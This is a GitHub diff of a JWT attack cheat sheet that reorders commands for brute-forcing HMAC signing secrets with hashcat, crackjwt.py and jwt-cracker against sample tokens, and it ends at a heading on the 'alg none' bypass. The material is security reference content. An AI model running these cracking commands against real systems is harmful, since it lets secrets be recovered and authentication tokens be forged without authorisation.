File tree Expand file tree Collapse file tree 1 file changed +4
-6
lines changed
Expand file tree Collapse file tree 1 file changed +4
-6
lines changed Original file line number Diff line number Diff line change @@ -45,9 +45,10 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
4545## Brute-force HMAC secret
4646
4747``` bash
48- git clone https://github.com/Sjord/jwtcrack.git
49- cd jwtcrack
50- # Bruteforce using crackjwt.py
48+ # hashcat
49+ hashcat -m 16500 -a 0 jwt.txt .\w ordlists\r ockyou.txt
50+
51+ # https://github.com/Sjord/jwtcrack
5152python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
5253
5354# John
@@ -64,9 +65,6 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
6465
6566# https://github.com/lmammino/jwt-cracker
6667jwt-cracker " eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" " abcdefghijklmnopqrstuwxyz" 6
67-
68- # hashcat
69- hashcat -m 16500 -a 0 jwt.txt .\w ordlists\r ockyou.txt
7068```
7169
7270## Modify the algorithm to None \( CVE-2015 -9235\)
You can’t perform that action at this time.
0 commit comments